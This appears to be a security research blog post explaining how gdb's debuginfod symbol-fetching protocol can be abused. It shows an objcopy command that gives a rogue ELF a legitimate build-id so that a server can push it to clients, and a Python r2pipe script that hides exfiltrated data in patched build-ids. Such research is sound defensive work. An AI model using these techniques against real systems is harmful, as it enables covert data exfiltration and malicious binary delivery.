<!DOCTYPE html>
<html lang="en">

  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    
    <meta name="description" content="Making things &amp; breaking things.">
    <meta name="keywords" content="blog,developer,personal">

    <meta name="twitter:card" content="summary"/>
<meta name="twitter:title" content="Abusing gdb Features for Data Ingress &amp; Egress"/>
<meta name="twitter:description" content="About The Project Modern Software Development environments have significant debugging capabilities to troubleshoot issues with the complex nature of modern software . These debugging capabilities typically manifest in Interactive Development Environment (IDE) as features that extend an IDEs capability to examine the given state of an application at run time or analyze previous binary executions. The standalone GNU Debugger (gdb) is integrated in a wide variety of IDEs and other 3rd party (1,2,3) utilities to provide a robust debugging interface for end users."/>

    <meta property="og:title" content="Abusing gdb Features for Data Ingress &amp; Egress" />
<meta property="og:description" content="About The Project Modern Software Development environments have significant debugging capabilities to troubleshoot issues with the complex nature of modern software . These debugging capabilities typically manifest in Interactive Development Environment (IDE) as features that extend an IDEs capability to examine the given state of an application at run time or analyze previous binary executions. The standalone GNU Debugger (gdb) is integrated in a wide variety of IDEs and other 3rd party (1,2,3) utilities to provide a robust debugging interface for end users." />
<meta property="og:type" content="article" />
<meta property="og:url" content="/projects/debuginfod/" /><meta property="article:section" content="projects" />
<meta property="article:published_time" content="2023-10-22T00:00:00+00:00" />
<meta property="article:modified_time" content="2023-10-22T00:00:00+00:00" />


    
      <base href="/projects/debuginfod/">
    
    <title>
  Abusing gdb Features for Data Ingress &amp; Egress · Arch Cloud Labs
</title>

    
      <link rel="canonical" href="/projects/debuginfod/">
    

    <link href="https://fonts.googleapis.com/css?family=Lato:400,700%7CMerriweather:300,700%7CSource+Code+Pro:400,700" rel="stylesheet">
    <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous" />
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/8.0.1/normalize.min.css" integrity="sha256-l85OmPOjvil/SOvVt3HnSSjzF1TUMyT9eV0c2BzEGzU=" crossorigin="anonymous" />

    
      
      
      <link rel="stylesheet" href="/css/coder.min.56b6ad8152846f778c9b51d2963158eeee2e0c82b73677b0c065978c289f213b.css" integrity="sha256-VratgVKEb3eMm1HSljFY7u4uDIK3NnewwGWXjCifITs=" crossorigin="anonymous" media="screen" />
    

    

    

    

    
    
    <link rel="icon" type="image/png" href="/images/favicon-32x32.png" sizes="32x32">
    <link rel="icon" type="image/png" href="/images/favicon-16x16.png" sizes="16x16">

    <meta name="generator" content="Hugo 0.118.2">
  </head>

  <body class=" ">
    <main class="wrapper">
      <nav class="navigation">
  <section class="container">
    <a class="navigation-title" href="/">
      Arch Cloud Labs
    </a>
    <input type="checkbox" id="menu-toggle" />
    <label class="menu-button float-right" for="menu-toggle"><i class="fas fa-bars"></i></label>
    <ul class="navigation-list">
      
        
          <li class="navigation-item">
            <a class="navigation-link" href="/about/welcome/">About</a>
          </li>
        
          <li class="navigation-item">
            <a class="navigation-link" href="/projects/">Projects</a>
          </li>
        
      
      
    </ul>
  </section>
</nav>


      <div class="content">
        
  <section class="container page">


<script async src="https://www.googletagmanager.com/gtag/js?id=G-XLGTZVHKJR"></script>
<script>
  window.dataLayer = window.dataLayer || [];
  function gtag(){dataLayer.push(arguments);}
  gtag('js', new Date());

  gtag('config', 'G-XLGTZVHKJR');
</script>

  <article>
    <header>
      <h1>Abusing gdb Features for Data Ingress &amp; Egress</h1>
    </header>

    <h2 id="about-the-project">About The Project</h2>
<p>Modern Software Development environments have significant debugging capabilities to troubleshoot issues with the complex nature of modern software . These debugging capabilities typically manifest in Interactive Development Environment (IDE) as features that extend an IDEs capability to examine the given state of an application at run time or analyze previous binary executions. The standalone GNU Debugger (gdb) is integrated in a wide variety of IDEs and other 3rd party (<a href="https://www.jetbrains.com/help/clion/configuring-debugger-options.html">1</a>,<a href="https://hex-rays.com/products/ida/support/idadoc/1343.shtml">2</a>,<a href="https://wiki.eclipse.org/CDT/Archive/FullGDBConsole">3</a>) utilities to provide a robust debugging interface for end users.</p>
<p>As of <a href="https://sourceware.org/legacy-ml/elfutils-devel/2019-q4/msg00219.html">November 2019</a>, elfutils supports debuginfod, a client/server protocol that enables debuggers (gdb) to fetch debugging symbols via HTTP/HTTPs from a user-specified remote server. This blog post will demonstrate how this feature of gdb can be abused to create data communication paths for data exfiltration and tool ingress.</p>
<h2 id="background---the-value-of-debug-information">Background - The Value of Debug Information</h2>
<p>When compiling a binary with the GNU Compiler Collection <a href="https://gcc.gnu.org/">gcc</a>, debug information can be embedded within a binary with the additional command line flag option of <a href="https://gcc.gnu.org/onlinedocs/gcc/Debugging-Options.html#index-ggdb"><code>-ggdb</code></a>. To demonstrate the value of the debug information <code>-ggdb</code> provides we&rsquo;ll create a toy addition application. The application below takes two numbers, adds them, returns the value, and finally prints the result.</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#0f0;font-weight:bold">#include</span> <span style="color:#0f0;font-weight:bold">&lt;stdio.h&gt;</span><span style="color:#0f0;font-weight:bold">
</span></span></span><span style="display:flex;"><span><span style="color:#0f0;font-weight:bold"></span>
</span></span><span style="display:flex;"><span><span style="color:#007f7f">// add and return two numbers
</span></span></span><span style="display:flex;"><span><span style="color:#007f7f"></span><span style="color:#fff;font-weight:bold">int</span> add(<span style="color:#fff;font-weight:bold">int</span> x, <span style="color:#fff;font-weight:bold">int</span> y) {
</span></span><span style="display:flex;"><span>  <span style="color:#fff;font-weight:bold">return</span> x + y;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">int</span> main(<span style="color:#fff;font-weight:bold">int</span> argc <span style="color:#fff;font-weight:bold">char</span> argv) {
</span></span><span style="display:flex;"><span>  <span style="color:#fff;font-weight:bold">int</span> z = add(<span style="color:#ff0;font-weight:bold">1</span>, <span style="color:#ff0;font-weight:bold">10</span>);
</span></span><span style="display:flex;"><span>  printf(<span style="color:#0ff;font-weight:bold">&#34;%d&#34;</span>, z);
</span></span><span style="display:flex;"><span>  <span style="color:#fff;font-weight:bold">return</span> <span style="color:#ff0;font-weight:bold">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>When debugging the target application that has debugging information, gdb will present to the end user the symbol name (add) along with the variables being passed to said function (x=1, y=10).
The abbreviated code block below is annotated to explain the gdb output.</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>gdb a.out
</span></span><span style="display:flex;"><span>Reading symbols from a.out...
</span></span><span style="display:flex;"><span>(gdb) b add <span style="color:#007f7f">// setting a breakpoint at function add
</span></span></span><span style="display:flex;"><span><span style="color:#007f7f"></span>Breakpoint <span style="color:#ff0;font-weight:bold">1</span> at <span style="color:#ff0;font-weight:bold">0x401130</span>: file main.c, line <span style="color:#ff0;font-weight:bold">4.</span>
</span></span><span style="display:flex;"><span>(gdb) r <span style="color:#007f7f">// (running the application)
</span></span></span><span style="display:flex;"><span><span style="color:#007f7f"></span>Starting program: /home/user/a.out
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#007f7f">// user specified breakpoint hit
</span></span></span><span style="display:flex;"><span><span style="color:#007f7f">// source code shown below
</span></span></span><span style="display:flex;"><span><span style="color:#007f7f"></span>Breakpoint <span style="color:#ff0;font-weight:bold">1</span>, add (x=<span style="color:#ff0;font-weight:bold">1</span>, y=<span style="color:#ff0;font-weight:bold">10</span>) at main.c:<span style="color:#ff0;font-weight:bold">4</span>
</span></span><span style="display:flex;"><span><span style="color:#ff0;font-weight:bold">4</span>           <span style="color:#fff;font-weight:bold">return</span> x + y;
</span></span></code></pre></div><p>Without debuginfo (<em>i.e the binary has been stripped</em>), the developer is forced to make sense of just the disassembly and whatever log messages are provided. This is incredibly time-consuming and an unrealistic option for most developers. The snippet below demonstrates the differences when debugging without debug information.</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>0x000055555555514d &lt;+0&gt;:     push   rbp
</span></span><span style="display:flex;"><span>0x000055555555514e &lt;+1&gt;:     mov    rbp,rsp
</span></span><span style="display:flex;"><span>0x0000555555555151 &lt;+4&gt;:     sub    rsp,0x20
</span></span><span style="display:flex;"><span>0x0000555555555155 &lt;+8&gt;:     mov    DWORD PTR [rbp-0x14],edi
</span></span><span style="display:flex;"><span>0x0000555555555158 &lt;+11&gt;:    mov    QWORD PTR [rbp-0x20],rsi
</span></span><span style="display:flex;"><span>0x000055555555515c &lt;+15&gt;:    mov    esi,0xa
</span></span><span style="display:flex;"><span>0x0000555555555161 &lt;+20&gt;:    mov    edi,0x1
</span></span><span style="display:flex;"><span>0x0000555555555166 &lt;+25&gt;:    call   0x555555555139
</span></span><span style="display:flex;"><span>0x000055555555516b &lt;+30&gt;:    mov    DWORD PTR [rbp-0x4],eax
</span></span><span style="display:flex;"><span>0x000055555555516e &lt;+33&gt;:    mov    eax,DWORD PTR [rbp-0x4]
</span></span><span style="display:flex;"><span>0x0000555555555171 &lt;+36&gt;:    mov    esi,eax
</span></span><span style="display:flex;"><span>0x0000555555555173 &lt;+38&gt;:    lea    rax,[rip+0xe8a]        # 0x555555556004
</span></span><span style="display:flex;"><span>0x000055555555517a &lt;+45&gt;:    mov    rdi,rax
</span></span><span style="display:flex;"><span>0x000055555555517d &lt;+48&gt;:    mov    eax,0x0
</span></span><span style="display:flex;"><span>0x0000555555555182 &lt;+53&gt;:    call   0x555555555030 &lt;printf@plt&gt;
</span></span></code></pre></div><p>While based on the trivial example above, it seems to make perfect sense as to why, having debug information always included in executables would be beneficial. However, they&rsquo;re often removed due to intellectual property concerns about proprietary software, as well as due to the increased binary size.</p>
<p>To provide a way for Developers, System Administrators, and the like to quickly debug issues, the Linux community has developed <a href="https://sourceware.org/elfutils/Debuginfod.html"><code>debuginfod</code></a>, a queryable service over HTTP/HTTPS to obtain debug symbols when you need them without having to recompile every binary locally. Debuginfod compatible clients expand beyond gdb, to include <a href="https://sourceware.org/systemtap/">systemtap</a>, <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/source-code-extended-access">WinDbg</a>, and <a href="https://github.com/microsoft/MIEngine/issues/1142">VSCode</a>.
To better understand debuginfod and its interaction with gdb, we&rsquo;ll explore the Debuginfod Architecture.</p>
<h2 id="debuginfod-architecture">Debuginfod Architecture</h2>
<p>A debuginfod server can be deployed as an unprivileged user by simply executing <code>debuginfod</code>. The server will listen on port 8002 by default, and expect a path as an argument to know what files to search for ELF files.</p>
<p>The official documentation of debuginfod specifies the hierarchy of the servers the client queries are dependent on the values specified in the environment variable <code>DEBUGINFOD_URLS</code>. The client will query each server sequentially until a response is obtained, regardless of success or failure. Additionally, a debuginfod server may be configured to search their upstream server, creating a recursive hierarchy similar to DNS. The image below is an example network topology depicting a development environment with a single debuginfod server configured to search upstream servers.</p>
<p><img src="./debuginfodarch.png" alt="debuginfodarch.png"></p>
<p>Once the debuginfod client (such as gdb) is launched, the requested debugging symbols can be obtained automatically before resuming execution. These symbols are identified by an executable
&rsquo;s <a href="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/developer_guide/compiling-build-id"><code>build-id</code></a>. An ELF file&rsquo;s build-id, or &ldquo;build hash&rdquo; is the SHA-1 sum of the binary&rsquo;s section headers. This value can be obtained via the <code>readelf</code> utility, or virtually any binary editing or reverse engineering software via the <code>.note.gnu.build-id</code> section within the ELF header.</p>
<p><img src="./readelf.png" alt="readelf.png"></p>
<p>The debuginfod server would in turn identify if a directory of that build-id existed on the server, obtain the debug information, and then return the binary file to the requesting client. If the build-id is not found, the debuginfod server may query an upstream server depending on its configuration for said build hash.</p>
<p>Regardless of whether or not debug information is obtained, a local cache is stored by the client with the corresponding debuginfo data. This cache, by default, expires every week. Environment variable settings can override this functionality, to quickly delete the data from being cached at all. On a Linux machine, these files are stored in the user&rsquo;s home directory, under the hidden <code>.cache</code> folder within the <code>debuginfod_client</code> folder.</p>
<p><img src="./debuginfod_cache_dir.png" alt="debuginfod_cache_dir.png"></p>
<p>With the understanding of how data is transferred between client and server, we&rsquo;ll now explore how this communication path could be abused by rogue parties.</p>
<h2 id="rogue-server---sending-arbitrary-data-to-clients">Rogue Server - Sending Arbitrary Data to Clients</h2>
<p>Debuginfod provides no authentication or integrity checks on the data presented to the client.</p>
<p>Per the man page of debuginfod:</p>
<blockquote>
<p>When relaying queries to upstream debuginfods, debuginfod does not include any particular security features. <strong>It trusts that the binaries returned by the debuginfods are accurate</strong>. Therefore, the list of servers should include only trustworthy ones. If accessed across HTTP rather than HTTPS, the network should be trustworthy. Authentication information through the internal libcurl library is not currently enabled.  - <a href="https://manpages.debian.org/testing/debuginfod/debuginfod.8.en.html">debuginfod, man pages</a></p>
</blockquote>
<p>The lack of integrity checking on the received data from a debuginfod server leaves the debuginfo client vulnerable to receiving arbitrary data and potentially malicious data from a debuginfod server. In cases where a malicious threat actor was uniquely positioned, malicious binary executables could be sent to the client in-lieu of the intended binary with debugging symbols. By placing arbitrary data in a chosen build-id folder with the name of debuginfo, arbitrary data can be sent to a client. This behavior will be exploited to send a message to the client from a &ldquo;rogue server&rdquo;.</p>
<p>The output below shows a normal interaction of a debuginfod client (gdb) fetching debuginfo for a <code>hello world</code> binary from a debuginfod server. The output obtained from the server is stored by default in the local cache of the user within a directory structure of <code>~/.cache/debuginfod_client/BUILDID_GOES_HERE/debuginfo</code></p>
<p><em>Note: For those following along at home, your <code>BUILDID_GOES_HERE</code> will be different than the <code>ece7b28ac...</code> shown in the images below.</em></p>
<p><img src="./debuginfo_success.png" alt="debuginfo_success.png"></p>
<p>Upon executing this downloaded file within the <code>~/.cache/debuginfod_client/BUILDID_GOES_HERE/</code>, the number 11 is printed, from the original example presented in the earlier section of this blog.</p>
<p><img src="debuginfo_print_11.png" alt="debuginfo_11.png"></p>
<p>The important thing to focus on here, is that
<strong>any desired binary can replace this example binary in order to be transferred to the client as long as the build-id is the same</strong>. To save the build-id of a target binary, objdump from the GNU collection of <code>coreutils</code> can be used to save the ELF section to a separate file to patch any arbitrary ELF file. The data highlighted below in red shows the same build hash as previously executed on our target machine. The image shows saving the contents of the section to a file called &ldquo;output.bin&rdquo; for later use.</p>
<p><img src="./copybuildid.png" alt="copybuildid"></p>
<p>To perform said patching, the following objcopy command is used to overwrite a destination ELF&rsquo;s <code>.note.gnu.build-id</code> section.</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>objcopy --update-section \
</span></span><span style="display:flex;"><span>  .note.gnu.build-id=output.bin \
</span></span><span style="display:flex;"><span>  --set-section-flags \
</span></span><span style="display:flex;"><span>  .note.gnu.build-id=noload,readonly pwn.elf;
</span></span></code></pre></div><p>With a rogue binary (&ldquo;pwn.elf&rdquo;) patched with a &ldquo;legitimate&rdquo; build-id, anytime gdb is invoked with the example application provided at the start of this blog, the pwn.elf binary will now be downloaded to the target machine.</p>
<p>This presents the opportunity for a rogue (<em>or compromised</em>) debuginfod server to send out malicious ELF executables. The images below shows two files with matching build-ids but different hashes demonstrating the success of this arbitrary build-id patching technique. Both 1 and 2 in the image below show the same build-id hash, and 3 shows different hashes of the target binaries.</p>
<p><img src="buildid-updates.png" alt="buildid-updates.png"></p>
<p>Upon clearing the client&rsquo;s debuginfo cache, and re-initiating gdb (<em>part 1 in the figure below</em>) the new malicious binary is downloaded. The figure below shows gdb fetching the remote resource of the previously seen debug-id hash. However, when executing the binary, the value 11 is not produced, but the word &ldquo;pwn&rdquo; is printed to screen (<em>part 2 in the figure below</em>).
This demonstrates the ability to abuse debuginfod&rsquo;s file transfer protocol, by arbitrarily patching an ELF binary of interest.</p>
<p><img src="./success.png" alt="success.png"></p>
<h2 id="rogue-client---sending-arbitrary-data-to-servers">Rogue Client - Sending Arbitrary Data to Servers</h2>
<p>A debuginfo client takes the build-id obtained from a given binary to send to a remote server in order to obtain debug info for that given binary. This value is a SHA-1 hash of the file&rsquo;s section headers, stored within the binary at section <code>.note.gnu.build-id</code>. By modifying this value, the debuginfo client is oblivious to the change and will send said data to the remote server. A SHA-1 hash has the length of 40 ASCII characters. This presents a low-bandwidth communication channel to send arbitrary data from a client to a server with the restriction that the client has the ability to modify a given binary.</p>
<p>To demonstrate this communication channel, a small Python program was written to take a message, hex encode it, and slice it to the length of 40 characters to be compliant with SHA-1 hash length. <a href="https://rada.re/n/">Radare2</a>, a reverse engineering utility, is used to automate the patching of a &ldquo;hello world&rdquo; binary. Next, gdb is invoked to trigger the debuginfo client lookup to send the build-id to the destination server. The figure below shows the server log output of the recieved binaries with the patched build-ids.</p>
<p><img src="./logs.png" alt="logs"></p>
<p>The cat command at the end of the images fetches the exact build-ids from the URI. Pasting these values into a decoding utility such as <a href="https://cyberchef.org">CyberChef</a>, reveals the ASCII text values.</p>
<p><img src="./cyberchef.png" alt="cyberchef"></p>
<p>While this demonstration patches a single ELF executable, any complex ELF file that loads multiple Shared Objects could trigger a debuginfo client to query a debuginfo server, thus creating numerous lookups at any one time, allowing for more data to be transfer. Additionally, this trivial demonstration does not encrypt the plain-text value, and is left for future work to the reader. The Python script that leverages Radare2 (via r2pipe) to patch the binary is available below.</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>#!/usr/bin/env python3
</span></span><span style="display:flex;"><span>import r2pipe
</span></span><span style="display:flex;"><span>import os
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>data = &#34;this is a long messag&#34;
</span></span><span style="display:flex;"><span>data += &#34;that I want chopped up into multiple smaller messages&#34;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bstr = bytearray(data, &#39;ascii&#39;).hex()  # hex encode data string
</span></span><span style="display:flex;"><span>preamble = &#39;040000001400000003000000474e5500&#39;  # gnu build-id preamble
</span></span><span style="display:flex;"><span>r2cmd_str = &#34;aaa; wx {0} @section..note.gnu.build_id&#34; #  cmd string to patch binary.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>n = 40  # 40 char length
</span></span><span style="display:flex;"><span>print(bstr)  # entire length
</span></span><span style="display:flex;"><span>entries = [bstr[idx:idx + n] for idx in range(0, len(bstr), n)]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>for entry in entries:
</span></span><span style="display:flex;"><span>    build_id_patch = (preamble + entry)
</span></span><span style="display:flex;"><span>    final_cmdstr = r2cmd_str.format(build_id_patch)
</span></span><span style="display:flex;"><span>    r = r2pipe.open(&#34;a.out&#34;, flags=[&#39;-w&#39;])
</span></span><span style="display:flex;"><span>    r.cmd(final_cmdstr)
</span></span><span style="display:flex;"><span>    os.system(&#39;gdb -x commands.txt --batch a.out&#39;) # invoke gdb to make requests
</span></span></code></pre></div><h2 id="conclusion">Conclusion</h2>
<p>The default behavior of debuginfod presents a unique low-bandwidth communication channel between a client and server.
The focus of this research was on Linux machines with gdb, but debuginfod is being adopted into heavily used <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/source-code-extended-access">Windows components</a> as well.
This communication channel does require the use of specialized tools typically reserved for development environments and may not fit every researcher&rsquo;s use case.
Exploration into the Windows debuginfod compatible clients is left as future work.
Finally, there may be ways to uniquely abuse the gdb console itself upon having the binary loaded into the current working session.</p>
<p>Thank you for reading, if you found this interesting/useful, please share!</p>
<h2 id="references">References</h2>
<ul>
<li><a href="https://fedoraproject.org/wiki/Releases/FeatureBuildId#Unique_build_ID">FedoraWiki - Proposal for Unique Build-id (allegedly 2008?)</a></li>
<li><a href="https://sourceware.org/legacy-ml/elfutils-devel/2019-q4/msg00219.html">ELFUtils-devel Mailing list - debuginfod server announced: 2019</a></li>
<li><a href="https://developers.redhat.com/articles/2022/01/10/gdb-developers-gnu-debugger-tutorial-part-2-all-about-debuginfo#">The GDB developer’s GNU Debugger tutorial, Part 2: All about debuginfo</a></li>
<li><a href="https://gcc.gnu.org/onlinedocs/gcc/Debugging-Options.html#index-ggdb">GDB Debug Flags</a></li>
<li><a href="https://sourceware.org/elfutils/Debuginfod.html">Debuginfod Source Page</a></li>
</ul>

  </article>
</section>


      </div>

      <footer class="footer">
  <section class="container">
    
     © 2024
    
       · 
      Powered by <a href="https://gohugo.io/">Hugo</a> & <a href="https://github.com/luizdepra/hugo-coder/">Coder</a>.
    
    
  </section>
</footer>

    </main>

    
<script async src="https://www.googletagmanager.com/gtag/js?id=G-XLGTZVHKJR"></script>
<script>
var doNotTrack = false;
if (!doNotTrack) {
	window.dataLayer = window.dataLayer || [];
	function gtag(){dataLayer.push(arguments);}
	gtag('js', new Date());
	gtag('config', 'G-XLGTZVHKJR', { 'anonymize_ip': false });
}
</script>


  </body>

</html>
